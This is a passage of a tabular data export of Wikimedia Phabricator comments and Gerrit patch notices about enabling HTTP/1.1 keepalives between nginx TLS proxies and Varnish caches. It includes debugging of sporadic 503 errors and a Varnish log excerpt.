+[[https://gerrit.wikimedia.org/r/317543]]",,,1477329839,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+748766,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317543 had a related patch set uploaded (by BBlack):
+http2 concurrency: 32
+
+[[https://gerrit.wikimedia.org/r/317543]]
+",,,1477329815,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+748650,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317528 merged by BBlack:
+tlsproxy: http2: limit concurrency to 64 (was 128)
+
+[[https://gerrit.wikimedia.org/r/317528]]",,,1477323727,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+748649,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317528 had a related patch set uploaded (by BBlack):
+tlsproxy: http2: limit concurrency to 64 (was 128)
+
+[[https://gerrit.wikimedia.org/r/317528]]
+",,,1477323689,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+748610,HTTP/1.1 keepalive for local nginx->varnish conns,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVf3OHpeRMLREAjJrsMc} [2016-10-24T15:04:16Z] <bblack> enabling/running puppet on caches for 8x varnish ports changes - T107749",,,1477321456,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+748590,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317514 merged by BBlack:
+bugfix for e23f699fe2
+
+[[https://gerrit.wikimedia.org/r/317514]]",,,1477320274,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+748588,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317514 had a related patch set uploaded (by BBlack):
+bugfix for e23f699fe2
+
+[[https://gerrit.wikimedia.org/r/317514]]
+",,,1477320247,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+748582,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317405 merged by BBlack:
+tlsproxy: use 8x FE ports to balance
+
+[[https://gerrit.wikimedia.org/r/317405]]",,,1477319908,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+748581,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317414 merged by BBlack:
+tlsproxy: raise worker connection limits, too
+
+[[https://gerrit.wikimedia.org/r/317414]]",,,1477319907,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+748580,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317499 merged by BBlack:
+reduce cache local ports slightly
+
+[[https://gerrit.wikimedia.org/r/317499]]",,,1477319907,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+748573,HTTP/1.1 keepalive for local nginx->varnish conns,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVf3HxbQRMLREAjJrsLN} [2016-10-24T14:36:32Z] <bblack> disabling puppet on all caches ahead of port# work, to test - T107749 / https://gerrit.wikimedia.org/r/#/c/317405",,,1477319792,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+748524,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317404 merged by BBlack:
+cache frontends: 8x local ports 3120-3127
+
+[[https://gerrit.wikimedia.org/r/317404]]",,,1477314424,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+748522,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317499 had a related patch set uploaded (by BBlack):
+reduce cache local ports slightly
+
+[[https://gerrit.wikimedia.org/r/317499]]
+",,,1477314336,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+748521,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317414 had a related patch set uploaded (by BBlack):
+tlsproxy: raise worker connection limits, too
+
+[[https://gerrit.wikimedia.org/r/317414]]
+",,,1477314335,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+748520,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317404 had a related patch set uploaded (by BBlack):
+cache frontends: 8x local ports 3120-3127
+
+[[https://gerrit.wikimedia.org/r/317404]]
+",,,1477314334,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+748519,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317405 had a related patch set uploaded (by BBlack):
+tlsproxy: use 8x FE ports to balance
+
+[[https://gerrit.wikimedia.org/r/317405]]
+",,,1477314333,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+733765,HTTP/1.1 keepalive for local nginx->varnish conns,"nginx has added `max_conns` to the open source master branch in  http://hg.nginx.org/nginx/rev/29bf0dbc0a77 , which should appear in 1.11.5.
+
+That wasn't our only keepalives blocker (the other is varnish4, and there are possibly others related to backend bugs in MW/apache/hhvm), but having it makes this easier to manage.
+
+However, because there will always be corner cases with keepalives for nginx->varnish where HTTP bugs can ""leak"" between disparate varnish backends, I'd still rather see us pursue unix domain sockets without keepalives as a superior alternative.
+
+Either that or move towards using a purer inbound TLS proxy that operates at the PROXY or TCP level with some solution for client IP forwarding and SNI forwarding, allowing varnish to handle all HTTP protocol details.  However, at this point even if we had such a solution we'd want to block that on varnish5 (which isn't that far off and could've just as easily been called varnish4.2) stabilizing/improving their nascent HTTP/2 support as well, so we don't regress there.  The TLS terminator would need to support all of the important features we're using in nginx as well (OCSP Stapling, Dual ECC/RSA certs, etc).",,,1474643095,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,64,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+679269,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 294305 merged by BBlack:
+disable keepalives on maps misc
+
+[[https://gerrit.wikimedia.org/r/294305]]",,,1465911461,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,49,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+679268,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 294305 had a related patch set uploaded (by BBlack):
+disable keepalives on maps misc
+
+[[https://gerrit.wikimedia.org/r/294305]]
+",,,1465911442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,49,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+679247,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 294301 merged by BBlack:
+cache_maps: turn on keepalives
+
+[[https://gerrit.wikimedia.org/r/294301]]",,,1465909160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,49,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+679246,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 294301 had a related patch set uploaded (by BBlack):
+cache_maps: turn on keepalives
+
+[[https://gerrit.wikimedia.org/r/294301]]
+",,,1465909129,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,49,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+660370,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288213 merged by BBlack:
+tlsproxy: use http/1.1 only in conjunction with varnish4
+
+[[https://gerrit.wikimedia.org/r/288213]]",,,1462981572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+660358,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288213 had a related patch set uploaded (by BBlack):
+tlsproxy: use http/1.1 only in conjunction with varnish4
+
+[[https://gerrit.wikimedia.org/r/288213]]
+",,,1462980834,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+660238,HTTP/1.1 keepalive for local nginx->varnish conns,"I'm out of good ideas for now.  I've tried both of the obvious alternatives (1.1 w/o explicit Connection setting, and 1.1 w/o explicit Connection setting but with ignore_client_abort), and the behavior is unchanged: we still get a low but notable rate of 503s as described earlier.",,,1462971400,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,44,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+660228,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288182 merged by BBlack:
+tlsproxy: remove protocol 1.1
+
+[[https://gerrit.wikimedia.org/r/288182]]",,,1462970375,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+660224,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288182 had a related patch set uploaded (by BBlack):
+tlsproxy: remove protocol 1.1
+
+[[https://gerrit.wikimedia.org/r/288182]]
+",,,1462970256,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+660218,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288179 merged by BBlack:
+tlsproxy: remove ignore_client_abort
+
+[[https://gerrit.wikimedia.org/r/288179]]",,,1462969867,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+660217,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288179 had a related patch set uploaded (by BBlack):
+tlsproxy: remove ignore_client_abort
+
+[[https://gerrit.wikimedia.org/r/288179]]
+",,,1462969849,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+660215,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288177 merged by BBlack:
+tlsproxy: protocol 1.1   ignore_client_abort
+
+[[https://gerrit.wikimedia.org/r/288177]]",,,1462969191,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+660214,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288177 had a related patch set uploaded (by BBlack):
+tlsproxy: protocol 1.1   ignore_client_abort
+
+[[https://gerrit.wikimedia.org/r/288177]]
+",,,1462969163,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+660212,HTTP/1.1 keepalive for local nginx->varnish conns,Trying a patch that will test the first two ideas above...,,,1462969105,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0
+660204,HTTP/1.1 keepalive for local nginx->varnish conns,"So, recapping the strange evidence above, because I've been thinking about this off and on all night and it still makes no sense:
+
+* The only change involved was to add two lines to the nginx proxy statements: `proxy_http_version 1.1;` and `proxy_set_header Connection close;`.  The first should have almost no effect in our configuration except switching the request line to end in `HTTP/1.1` instead of `HTTP/1.0`.  The latter is supposedly the default anyways (regardless of proto version).  I was putting it there to be explicit, and so that it's visually obvious what's going on in future patches that toggle other settings for the Connection header when we turn on other features.
+* Nothing else is being toggled here: we're not re-using connections with keepalives, and stats debugging on connection states/counts seems to confirm that.
+* When we turn on this protocol version change, most things still seem sane, but our global 503 error rate on the text caches rises from nearly-zero to roughly 5/sec (which is a small fraction of overall traffic, even if you only count cache misses).  The requests that hit the 503 seemed fairly random at a glance in terms of UA, URL, etc.
+* The 503s are happening when the backend-most varnish contacts the appserver, and the error shown is `NNN FetchError   c http format error`, which means varnish is failing to parse a legitimate HTTP response status line from the application server (`HTTP/1.1 200 OK` and such).
+
+How does switching the protocol line from `HTTP/1.0` to `HTTP/1.1` when nginx makes a request to varnish-fe, end up causing a 503 due to malformed status line in the response from the applayer backend when the varnish-be process contacts the applayer?  Keep in mind by then, the nginx request has already been successfully parsed and amended by 2x layers of varnish, and sent to the applayer, and now the applayer response seems junky.  It makes no basic sense.
+
+The only few semi-bright ideas I have at present are this:
+* We can try leaving off the supposedly-default 'proxy_set_header Connection close;`, in case the default behavior is more-subtle than documented.
+* We can try looking into the code for and playing with the settings for nginx's proxy_ignore_client_abort in case that's related.
+* It may be that we're not going to get correct behavior until we do both the 1.1 change **and** the keepalives (no Connection: close) together.  I don't think this is likely, but at some point it may be worth trying.",,,1462967910,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,44,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+659863,HTTP/1.1 keepalive for local nginx->varnish conns,Reverting just the HTTP/1.1 nginx patch makes the 503s go away (still using upstream module).... needs more digging in more-isolated testing....,,,1462915266,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,44,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0
+659858,HTTP/1.1 keepalive for local nginx->varnish conns,"FWIW, the random 503s look like this on GET of plain article URLs (and other things, of course):
+```
+  421 VCL_return   c hash
+  421 VCL_call     c miss fetch
+  421 Backend      c 96 appservers be_appservers
+  421 FetchError   c http format error
+  421 VCL_call     c error deliver
+  421 VCL_call     c deliver deliver
+  421 TxProtocol   c HTTP/1.1
+  421 TxStatus     c 503
+  421 TxResponse   c Service Unavailable
+  421 TxHeader     c Server: Varnish
+  421 TxHeader     c Content-Type: text/html; charset=utf-8
+  421 TxHeader     c Content-Length: 1624
+  421 TxHeader     c Accept-Ranges: bytes
+  421 TxHeader     c Date: Tue, 10 May 2016 21:09:20 GMT
+  421 TxHeader     c X-Varnish: 612169238
+  421 TxHeader     c Age: 0
+  421 TxHeader     c Via: 1.1 varnish
+  421 TxHeader     c Connection: close
+  421 TxHeader     c X-Cache: cp1065 miss(0)
+  421 Length       c 1624
+  421 ReqEnd       c 612169238 1462914560.392444134 1462914560.392889261 0.089637280 0.000409365 0.000035763
+```
+
+Looking into the Varnish3 code, it seems like `http format error` should only happen if it can't parse the basic response line (e.g. `HTTP/1.1 200 OK`).",,,1462915015,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,44,True,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+659854,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288089 merged by BBlack:
+Revert ""tlsproxy: switch to (non-persistent) HTTP/1.1""
+
+[[https://gerrit.wikimedia.org/r/288089]]",,,1462914807,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+659846,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288089 had a related patch set uploaded (by BBlack):
+Revert ""tlsproxy: switch to (non-persistent) HTTP/1.1""
+
+[[https://gerrit.wikimedia.org/r/288089]]
